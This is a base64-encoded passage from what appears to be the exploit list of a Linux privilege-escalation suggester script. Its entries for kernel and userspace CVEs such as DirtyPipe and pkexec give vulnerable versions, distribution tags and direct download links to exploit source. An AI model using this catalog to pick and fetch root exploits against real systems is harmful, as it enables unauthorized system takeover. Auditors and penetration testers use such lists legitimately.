U1XSR7dHh0cnN0fSBzdWJ1aWRfc2hlbGwKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTQuMTUsdmVyPD00LjE5LjIsQ09ORklHX1VTRVJfTlM9eSxzeXNjdGw6a2VybmVsLnVucHJpdmlsZWdlZF91c2VybnNfY2xvbmU9PTEsY21kOlsgLXUgL3Vzci9iaW4vbmV3dWlkbWFwIF0sY21kOlsgLXUgL3Vzci9iaW4vbmV3Z2lkbWFwIF0KVGFnczogdWJ1bnR1PTE4LjA0e2tlcm5lbDo0LjE1LjAtMjAtZ2VuZXJpY30sZmVkb3JhPTI4e2tlcm5lbDo0LjE2LjMtMzAxLmZjMjh9ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL2J1Z3MuY2hyb21pdW0ub3JnL3AvcHJvamVjdC16ZXJvL2lzc3Vlcy9kZXRhaWw/aWQ9MTcxMgpzcmMtdXJsOiBodHRwczovL2dpdGxhYi5jb20vZXhwbG9pdC1kYXRhYmFzZS9leHBsb2l0ZGItYmluLXNwbG9pdHMvLS9yYXcvbWFpbi9iaW4tc3Bsb2l0cy80NTg4Ni56aXAKZXhwbG9pdC1kYjogNDU4ODYKYXV0aG9yOiBKYW5uIEhvcm4KQ29tbWVudHM6IENPTkZJR19VU0VSX05TIG5lZWRzIHRvIGJlIGVuYWJsZWQKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxOS0xMzI3Ml0ke3R4dHJzdH0gUFRSQUNFX1RSQUNFTUUKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTQsdmVyPDUuMS4xNyxzeXNjdGw6a2VybmVsLnlhbWEucHRyYWNlX3Njb3BlPT0wLHg4Nl82NApUYWdzOiB1YnVudHU9MTYuMDR7a2VybmVsOjQuMTUuMC0qfSx1YnVudHU9MTguMDR7a2VybmVsOjQuMTUuMC0qfSxkZWJpYW49OXtrZXJuZWw6NC45LjAtKn0sZGViaWFuPTEwe2tlcm5lbDo0LjE5LjAtKn0sZmVkb3JhPTMwe2tlcm5lbDo1LjAuOS0qfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9idWdzLmNocm9taXVtLm9yZy9wL3Byb2plY3QtemVyby9pc3N1ZXMvZGV0YWlsP2lkPTE5MDMKc3JjLXVybDogaHR0cHM6Ly9naXRsYWIuY29tL2V4cGxvaXQtZGF0YWJhc2UvZXhwbG9pdGRiLWJpbi1zcGxvaXRzLy0vcmF3L21haW4vYmluLXNwbG9pdHMvNDcxMzMuemlwCmV4dC11cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9iY29sZXMva2VybmVsLWV4cGxvaXRzL21hc3Rlci9DVkUtMjAxOS0xMzI3Mi9wb2MuYwpDb21tZW50czogUmVxdWlyZXMgYW4gYWN0aXZlIFBvbEtpdCBhZ2VudC4KZXhwbG9pdC1kYjogNDcxMzMKZXhwbG9pdC1kYjogNDcxNjMKYXV0aG9yOiBKYW5uIEhvcm4gKG9yZ2luYWwgZXhwbG9pdCBhdXRob3IpOyBiY29sZXMgKGF1dGhvciBvZiBleHBsb2l0IHVwZGF0ZSBhdCAnZXh0LXVybCcpCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTktMTU2NjZdJHt0eHRyc3R9IFhGUk1fVUFGClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLHZlcjw1LjAuMTksQ09ORklHX1VTRVJfTlM9eSxzeXNjdGw6a2VybmVsLnVucHJpdmlsZWdlZF91c2VybnNfY2xvbmU9PTEsQ09ORklHX1hGUk09eQpUYWdzOgpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9kdWFzeW50LmNvbS9ibG9nL3VidW50dS1jZW50b3MtcmVkaGF0LXByaXZlc2MKYmluLXVybDogaHR0cHM6Ly9naXRodWIuY29tL2R1YXN5bnQveGZybV9wb2MvcmF3L21hc3Rlci9sdWNreTAKQ29tbWVudHM6IENPTkZJR19VU0VSX05TIG5lZWRzIHRvIGJlIGVuYWJsZWQ7IENPTkZJR19YRlJNIG5lZWRzIHRvIGJlIGVuYWJsZWQKYXV0aG9yOiBWaXRhbHkgJ3ZuaWsnIE5pa29sZW5rbwpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDIxLTI3MzY1XSR7dHh0cnN0fSBsaW51eC1pc2NzaQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcjw9NS4xMS4zLENPTkZJR19TTEFCX0ZSRUVMSVNUX0hBUkRFTkVEIT15ClRhZ3M6IFJIRUw9OApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9ibG9nLmdyaW1tLWNvLmNvbS8yMDIxLzAzL25ldy1vbGQtYnVncy1pbi1saW51eC1rZXJuZWwuaHRtbApzcmMtdXJsOiBodHRwczovL2NvZGVsb2FkLmdpdGh1Yi5jb20vZ3JpbW0tY28vTm90UXVpdGUwRGF5RnJpZGF5L3ppcC90cnVuawpDb21tZW50czogQ09ORklHX1NMQUJfRlJFRUxJU1RfSEFSREVORUQgbXVzdCBub3QgYmUgZW5hYmxlZAphdXRob3I6IEdSSU1NCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMjEtMzQ5MF0ke3R4dHJzdH0gZUJQRiBBTFUzMiBib3VuZHMgdHJhY2tpbmcgZm9yIGJpdHdpc2Ugb3BzClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj01LjcsdmVyPDUuMTIsQ09ORklHX0JQRl9TWVNDQUxMPXksc3lzY3RsOmtlcm5lbC51bnByaXZpbGVnZWRfYnBmX2Rpc2FibGVkIT0xClRhZ3M6IHVidW50dT0yMC4wNHtrZXJuZWw6NS44LjAtKDI1fDI2fDI3fDI4fDI5fDMwfDMxfDMyfDMzfDM0fDM1fDM2fDM3fDM4fDM5fDQwfDQxfDQyfDQzfDQ0fDQ1fDQ2fDQ3fDQ4fDQ5fDUwfDUxfDUyKS0qfSx1YnVudHU9MjEuMDR7a2VybmVsOjUuMTEuMC0xNi0qfQpSYW5rOiA1CmFuYWx5c2lzLXVybDogaHR0cHM6Ly93d3cuZ3JhcGxzZWN1cml0eS5jb20vcG9zdC9rZXJuZWwtcHduaW5nLXdpdGgtZWJwZi1hLWxvdmUtc3RvcnkKc3JjLXVybDogaHR0cHM6Ly9jb2RlbG9hZC5naXRodWIuY29tL2Nob21waWUxMzM3L0xpbnV4X0xQRV9lQlBGX0NWRS0yMDIxLTM0OTAvemlwL21haW4KQ29tbWVudHM6IENPTkZJR19CUEZfU1lTQ0FMTCBuZWVkcyB0byBiZSBzZXQgJiYga2VybmVsLnVucHJpdmlsZWdlZF9icGZfZGlzYWJsZWQgIT0gMQphdXRob3I6IGNob21waWUxMzM3CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMjEtMjI1NTVdJHt0eHRyc3R9IE5ldGZpbHRlciBoZWFwIG91dC1vZi1ib3VuZHMgd3JpdGUKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4xOSx2ZXI8PTUuMTItcmM2ClRhZ3M6IHVidW50dT0yMC4wNHtrZXJuZWw6NS44LjAtKn0KUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ29vZ2xlLmdpdGh1Yi5pby9zZWN1cml0eS1yZXNlYXJjaC9wb2NzL2xpbnV4L2N2ZS0yMDIxLTIyNTU1L3dyaXRldXAuaHRtbApzcmMtdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vZ29vZ2xlL3NlY3VyaXR5LXJlc2VhcmNoL21hc3Rlci9wb2NzL2xpbnV4L2N2ZS0yMDIxLTIyNTU1L2V4cGxvaXQuYwpleHQtdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vYmNvbGVzL2tlcm5lbC1leHBsb2l0cy9tYXN0ZXIvQ1ZFLTIwMjEtMjI1NTUvZXhwbG9pdC5jCkNvbW1lbnRzOiBpcF90YWJsZXMga2VybmVsIG1vZHVsZSBtdXN0IGJlIGxvYWRlZApleHBsb2l0LWRiOiA1MDEzNQphdXRob3I6IHRoZWZsb3cgKG9yZ2luYWwgZXhwbG9pdCBhdXRob3IpOyBiY29sZXMgKGF1dGhvciBvZiBleHBsb2l0IHVwZGF0ZSBhdCAnZXh0LXVybCcpCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMjItMDg0N10ke3R4dHJzdH0gRGlydHlQaXBlClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj01LjgsdmVyPD01LjE2LjExClRhZ3M6IHVidW50dT0oMjAuMDR8MjEuMDQpLGRlYmlhbj0xMQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9kaXJ0eXBpcGUuY200YWxsLmNvbS8Kc3JjLXVybDogaHR0cHM6Ly9oYXh4LmluL2ZpbGVzL2RpcnR5cGlwZXouYwpleHBsb2l0LWRiOiA1MDgwOAphdXRob3I6IGJsYXN0eSAob3JpZ2luYWwgZXhwbG9pdCBhdXRob3I6IE1heCBLZWxsZXJtYW5uKQpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDIyLTI1ODZdJHt0eHRyc3R9IG5mdF9vYmplY3QgVUFGClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjE2LENPTkZJR19VU0VSX05TPXksc3lzY3RsOmtlcm5lbC51bnByaXZpbGVnZWRfdXNlcm5zX2Nsb25lPT0xClRhZ3M6IHVidW50dT0oMjAuMDQpe2tlcm5lbDo1LjEyLjEzfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly93d3cub3BlbndhbGwuY29tL2xpc3RzL29zcy1zZWN1cml0eS8yMDIyLzA4LzI5LzUKc3JjLXVybDogaHR0cHM6Ly93d3cub3BlbndhbGwuY29tL2xpc3RzL29zcy1zZWN1cml0eS8yMDIyLzA4LzI5LzUvMQpDb21tZW50czoga2VybmVsLnVucHJpdmlsZWdlZF91c2VybnNfY2xvbmU9MSByZXF1aXJlZCAodG8gb2J0YWluIENBUF9ORVRfQURNSU4pCmF1dGhvcjogdnVsbmVyYWJpbGl0eSBkaXNjb3Zlcnk6IFRlYW0gT3JjYSBvZiBTZWEgU2VjdXJpdHk7IEV4cGxvaXQgYXV0aG9yOiBBbGVqYW5kcm8gR3VlcnJlcm8KRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAyMi0zMjI1MF0ke3R4dHJzdH0gbmZ0X29iamVjdCBVQUYgKE5GVF9NU0dfTkVXU0VUKQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcjw1LjE4LjEsQ09ORklHX1VTRVJfTlM9eSxzeXNjdGw6a2VybmVsLnVucHJpdmlsZWdlZF91c2VybnNfY2xvbmU9PTEKVGFnczogdWJ1bnR1PSgyMi4wNCl7a2VybmVsOjUuMTUuMC0yNy1nZW5lcmljfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9yZXNlYXJjaC5uY2Nncm91cC5jb20vMjAyMi8wOS8wMS9zZXR0bGVycy1vZi1uZXRsaW5rLWV4cGxvaXRpbmctYS1saW1pdGVkLXVhZi1pbi1uZl90YWJsZXMtY3ZlLTIwMjItMzIyNTAvCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9ibG9nLnRoZW9yaS5pby9yZXNlYXJjaC9DVkUtMjAyMi0zMjI1MC1saW51eC1rZXJuZWwtbHBlLTIwMjIvCnNyYy11cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS90aGVvcmktaW8vQ1ZFLTIwMjItMzIyNTAtZXhwbG9pdC9tYWluL2V4cC5jCkNvbW1lbnRzOiBrZXJuZWwudW5wcml2aWxlZ2VkX3VzZXJuc19jbG9uZT0xIHJlcXVpcmVkICh0byBvYnRhaW4gQ0FQX05FVF9BRE1JTikKYXV0aG9yOiB2dWxuZXJhYmlsaXR5IGRpc2NvdmVyeTogRURHIFRlYW0gZnJvbSBOQ0MgR3JvdXA7IEF1dGhvciBvZiB0aGlzIGV4cGxvaXQ6IHRoZW9yaS5pbwpFT0YKKQoKCiMjIyMjIyMjIyMjIyBVU0VSU1BBQ0UgRVhQTE9JVFMgIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCm49MAoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwNC0wMTg2XSR7dHh0cnN0fSBzYW1iYQpSZXFzOiBwa2c9c2FtYmEsdmVyPD0yLjIuOApUYWdzOiAKUmFuazogMQpleHBsb2l0LWRiOiAyMzY3NApFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAwOS0xMTg1XSR7dHh0cnN0fSB1ZGV2ClJlcXM6IHBrZz11ZGV2LHZlcjwxNDEsY21kOltbIC1mIC9ldGMvdWRldi9ydWxlcy5kLzk1LXVkZXYtbGF0ZS5ydWxlcyB8fCAtZiAvbGliL3VkZXYvcnVsZXMuZC85NS11ZGV2LWxhdGUucnVsZXMgXV0KVGFnczogdWJ1bnR1PTguMTB8OS4wNApSYW5rOiAxCmV4cGxvaXQtZGI6IDg1NzIKQ29tbWVudHM6IFZlcnNpb248MS40LjEgdnVsbmVyYWJsZSBidXQgZGlzdHJvcyB1c2Ugb3duIHZlcnNpb25pbmcgc2NoZW1lLiBNYW51YWwgdmVyaWZpY2F0aW9uIG5lZWRlZCAKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMDktMTE4NV0ke3R4dHJzdH0gdWRldiAyClJlcXM6IHBrZz11ZGV2LHZlcjwxNDEKVGFnczoKUmFuazogMQpleHBsb2l0LWRiOiA4NDc4CkNvbW1lbnRzOiBTU0ggYWNjZXNzIHRvIG5vbiBwcml2aWxlZ2VkIHVzZXIgaXMgbmVlZGVkLiBWZXJzaW9uPDEuNC4xIHZ1bG5lcmFibGUgYnV0IGRpc3Ryb3MgdXNlIG93biB2ZXJzaW9uaW5nIHNjaGVtZS4gTWFudWFsIHZlcmlmaWNhdGlvbiBuZWVkZWQKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTAtMDgzMl0ke3R4dHJzdH0gUEFNIE1PVEQKUmVxczogcGtnPWxpYnBhbS1tb2R1bGVzLHZlcjw9MS4xLjEKVGFnczogdWJ1bnR1PTkuMTB8MTAuMDQKUmFuazogMQpleHBsb2l0LWRiOiAxNDMzOQpDb21tZW50czogU1NIIGFjY2VzcyB0byBub24gcHJpdmlsZWdlZCB1c2VyIGlzIG5lZWRlZApFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMC00MTcwXSR7dHh0cnN0fSBTeXN0ZW1UYXAKUmVxczogcGtnPXN5c3RlbXRhcCx2ZXI8PTEuMwpUYWdzOiBSSEVMPTV7c3lzdGVtdGFwOjEuMS0zLmVsNX0sZmVkb3JhPTEze3N5c3RlbXRhcDoxLjItMS5mYzEzfQpSYW5rOiAxCmF1dGhvcjogVGF2aXMgT3JtYW5keQpleHBsb2l0LWRiOiAxNTYyMApFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMS0xNDg1XSR7dHh0cnN0fSBwa2V4ZWMKUmVxczogcGtnPXBvbGtpdCx2ZXI9MC45NgpUYWdzOiBSSEVMPTYsdWJ1bnR1PTEwLjA0fDEwLjEwClJhbms6IDEKZXhwbG9pdC1kYjogMTc5NDIKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTEtMjkyMV0ke3R4dHJzdH0ga3RzdXNzClJlcXM6IHBrZz1rdHN1c3MsdmVyPD0xLjQKVGFnczogc3Bhcmt5PTV8NgpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly93d3cub3BlbndhbGwuY29tL2xpc3RzL29zcy1zZWN1cml0eS8yMDExLzA4LzEzLzIKc3JjLXVybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2Jjb2xlcy9sb2NhbC1leHBsb2l0cy9tYXN0ZXIvQ1ZFLTIwMTEtMjkyMS9rdHN1c3MtbHBlLnNoCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDEyLTA4MDldJHt0eHRyc3R9IGRlYXRoX3N0YXIgKHN1ZG8pClJlcXM6IHBrZz1zdWRvLHZlcj49MS44LjAsdmVyPD0xLjguMwpUYWdzOiBmZWRvcmE9MTYgClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vc2VjbGlzdHMub3JnL2Z1bGxkaXNjbG9zdXJlLzIwMTIvSmFuL2F0dC01OTAvYWR2aXNvcnlfc3Vkby50eHQKZXhwbG9pdC1kYjogMTg0MzYKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTQtMDQ3Nl0ke3R4dHJzdH0gY2hrcm9vdGtpdApSZXFzOiBwa2c9Y2hrcm9vdGtpdCx2ZXI8MC41MApUYWdzOiAKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly9zZWNsaXN0cy5vcmcvb3NzLXNlYy8yMDE0L3EyLzQzMApleHBsb2l0LWRiOiAzMzg5OQpDb21tZW50czogUm9vdGluZyBkZXBlbmRzIG9uIHRoZSBjcm9udGFiICh1cCB0byBvbmUgZGF5IG9mIGRlbGF5KQpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNC01MTE5XSR7dHh0cnN0fSBfX2djb252X3RyYW5zbGl0X2ZpbmQKUmVxczogcGtnPWdsaWJjfGxpYmM2LHg4NgpUYWdzOiBkZWJpYW49NgpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL2dvb2dsZXByb2plY3R6ZXJvLmJsb2dzcG90LmNvbS8yMDE0LzA4L3RoZS1wb2lzb25lZC1udWwtYnl0ZS0yMDE0LWVkaXRpb24uaHRtbApzcmMtdXJsOiBodHRwczovL2dpdGxhYi5jb20vZXhwbG9pdC1kYXRhYmFzZS9leHBsb2l0ZGItYmluLXNwbG9pdHMvLS9yYXcvbWFpbi9iaW4tc3Bsb2l0cy8zNDQyMS50YXIuZ3oKZXhwbG9pdC1kYjogMzQ0MjEKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTUtMTg2Ml0ke3R4dHJzdH0gbmV3cGlkIChhYnJ0KQpSZXFzOiBwa2c9YWJydCxjbWQ6Z3JlcCAtcWkgYWJydCAvcHJvYy9zeXMva2VybmVsL2NvcmVfcGF0dGVybgpUYWdzOiBmZWRvcmE9MjAKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly9vcGVud2FsbC5jb20vbGlzdHMvb3NzLXNlY3VyaXR5LzIwMTUvMDQvMTQvNApzcmMtdXJsOiBodHRwczovL2dpc3QuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3Rhdmlzby8wZjAyYzI1NWMxM2M1YzExMzQwNi9yYXcvZWFmYWM3OGRjZTUxMzI5YjAzYmVhNzE2N2YxMjcxNzE4YmVlNGRjYy9uZXdwaWQuYwpleHBsb2l0LWRiOiAzNjc0NgpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNS0zMzE1XSR7dHh0cnN0fSByYWNlYWJydApSZXFzOiBwa2c9YWJydCxjbWQ6Z3JlcCAtcWkgYWJydCAvcHJvYy9zeXMva2VybmVsL2NvcmVfcGF0dGVybgpUYWdzOiBmZWRvcmE9MTl7YWJydDoyLjEuNS0xLmZjMTl9LGZlZG9yYT0yMHthYnJ0OjIuMi4yLTIuZmMyMH0sZmVkb3JhPTIxe2FicnQ6Mi4zLjAtMy5mYzIxfSxSSEVMPTd7YWJydDoyLjEuMTEtMTIuZWw3fQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3NlY2xpc3RzLm9yZy9vc3Mtc2VjLzIwMTUvcTIvMTMwCnNyYy11cmw6IGh0dHBzOi8vZ2lzdC5naXRodWJ1c2VyY29udGVudC5jb20vdGF2aXNvL2ZlMzU5MDA2ODM2ZDZjZDEwOTFlL3Jhdy8zMmZlODQ4MWM0MzRmOGNhZDViY2Y4NTI5Nzg5MjMxNjI3ZTUwNzRjL3JhY2VhYnJ0LmMKZXhwbG9pdC1kYjogMzY3NDcKYXV0aG9yOiBUYXZpcyBPcm1hbmR5CkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE1LTEzMThdJHt0eHRyc3R9IG5ld3BpZCAoYXBwb3J0KQpSZXFzOiBwa2c9YXBwb3J0LHZlcj49Mi4xMyx2ZXI8PTIuMTcsY21kOmdyZXAgLXFpIGFwcG9ydCAvcHJvYy9zeXMva2VybmVsL2NvcmVfcGF0dGVybgpUYWdzOiB1YnVudHU9MTQuMDQKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly9vcGVud2FsbC5jb20vbGlzdHMvb3NzLXNlY3VyaXR5LzIwMTUvMDQvMTQvNApzcmMtdXJsOiBodHRwczovL2dpc3QuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3Rhdmlzby8wZjAyYzI1NWMxM2M1YzExMzQwNi9yYXcvZWFmYWM3OGRjZTUxMzI5YjAzYmVhNzE2N2YxMjcxNzE4YmVlNGRjYy9uZXdwaWQuYwpleHBsb2l0LWRiOiAzNjc0NgpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNS0xMzE4XSR7dHh0cnN0fSBuZXdwaWQgKGFwcG9ydCkgMgpSZXFzOiBwa2c9YXBwb3J0LHZlcj49Mi4xMyx2ZXI8PTIuMTcsY21kOmdyZXAgLXFpIGFwcG9ydCAvcHJvYy9zeXMva2VybmVsL2NvcmVfcGF0dGVybgpUYWdzOiB1YnVudHU9MTQuMDQuMgpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL29wZW53YWxsLmNvbS9saXN0cy9vc3Mtc2VjdXJpdHkvMjAxNS8wNC8xNC80CmV4cGxvaXQtZGI6IDM2NzgyCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE1LTMyMDJdJHt0eHRyc3R9IGZ1c2UgKGZ1c2VybW91bnQpClJlcXM6IHBrZz1mdXNlLHZlcjwyLjkuMwpUYWdzOiBkZWJpYW49Ny4wfDguMCx1YnVudHU9KgpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3NlY2xpc3RzLm9yZy9vc3Mtc2VjLzIwMTUvcTIvNTIwCmV4cGxvaXQtZGI6IDM3MDg5CkNvbW1lbnRzOiBOZWVkcyBjcm9uIG9yIHN5c3RlbSBhZG1pbiBpbnRlcmFjdGlvbgpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNS0xODE1XSR7dHh0cnN0fSBzZXRyb3VibGVzaG9vdApSZXFzOiBwa2c9c2V0cm91Ymxlc2hvb3QsdmVyPDMuMi4yMgpUYWdzOiBmZWRvcmE9MjEKUmFuazogMQpleHBsb2l0LWRiOiAzNjU2NApFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNS0zMjQ2XSR7dHh0cnN0fSB1c2VyaGVscGVyClJlcXM6IHBrZz1saWJ1c2VyLHZlcjw9MC42MApUYWdzOiBSSEVMPTZ7bGlidXNlcjowLjU2LjEzLSg0fDUpLmVsNn0sUkhFTD02e2xpYnVzZXI6MC42MC01LmVsN30sZmVkb3JhPTEzfDE5fDIwfDIxfDIyClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3d3dy5xdWFseXMuY29tLzIwMTUvMDcvMjMvY3ZlLTIwMTUtMzI0NS1jdmUtMjAxNS0zMjQ2L2N2ZS0yMDE1LTMyNDUtY3ZlLTIwMTUtMzI0Ni50eHQgCmV4cGxvaXQtZGI6IDM3NzA2CkNvbW1lbnRzOiBSSEVMIDUgaXMgYWxzbyB2dWxuZXJhYmxlLCBidXQgaW5zdGFsbGVkIHZlcnNpb24gb2YgZ2xpYmMgKDIuNSkgbGFja3MgZnVuY3Rpb25zIG5lZWRlZCBieSByb290aGVscGVyLmMKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTUtNTI4N10ke3R4dHJzdH0gYWJydC9zb3NyZXBvcnQtcmhlbDcKUmVxczogcGtnPWFicnQsY21kOmdyZXAgLXFpIGFicnQgL3Byb2Mvc3lzL2tlcm5lbC9jb3JlX3BhdHRlcm4KVGFnczogUkhFTD03e2FicnQ6Mi4xLjExLTEyLmVsN30KUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vd3d3Lm9wZW53YWxsLmNvbS9saXN0cy9vc3Mtc2VjdXJpdHkvMjAxNS8xMi8wMS8xCnNyYy11cmw6IGh0dHBzOi8vd3d3Lm9wZW53YWxsLmNvbS9saXN0cy9vc3Mtc2VjdXJpdHkvMjAxNS8xMi8wMS8xLzEKZXhwbG9pdC1kYjogMzg4MzIKYXV0aG9yOiByZWJlbApFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNS02NTY1XSR7dHh0cnN0fSBub3RfYW5fc3NobnVrZQpSZXFzOiBwa2c9b3BlbnNzaC1zZXJ2ZXIsdmVyPj02LjgsdmVyPD02LjkKVGFnczoKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly93d3cub3BlbndhbGwuY29tL2xpc3RzL29zcy1zZWN1cml0eS8yMDE3LzAxLzI2LzIKZXhwbG9pdC1kYjogNDExNzMKYXV0aG9yOiBGZWRlcmljbyBCZW50bwpDb21tZW50czogTmVlZHMgYWRtaW4gaW50ZXJhY3Rpb24gKHJvb3QgdXNlciBuZWVkcyB0byBsb2dpbiB2aWEgc3NoIHRvIHRyaWdnZXIgZXhwbG9pdGF0aW9uKQpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNS04NjEyXSR7dHh0cnN0fSBibHVlbWFuIHNldF9kaGNwX2hhbmRsZXIgZC1idXMgcHJpdmVzYwpSZXFzOiBwa2c9Ymx1ZW1hbix2ZXI8Mi4wLjMKVGFnczogZGViaWFuPTh7Ymx1ZW1hbjoxLjIzfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly90d2l0dGVyLmNvbS90aGVncnVncS9zdGF0dXMvNjc3ODA5NTI3ODgyODEzNDQwCmV4cGxvaXQtZGI6IDQ2MTg2CmF1dGhvcjogU2ViYXN0aWFuIEtyYWhtZXIKQ29tbWVudHM6IERpc3Ryb3MgdXNlIG93biB2ZXJzaW9uaW5nIHNjaGVtZS4gTWFudWFsIHZlcmlmaWNhdGlvbiBuZWVkZWQuCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE2LTEyNDBdJHt0eHRyc3R9IHRvbWNhdC1yb290cHJpdmVzYy1kZWIuc2gKUmVxczogcGtnPXRvbWNhdApUYWdzOiBkZWJpYW49OCx1YnVudHU9MTYuMDQKUmFua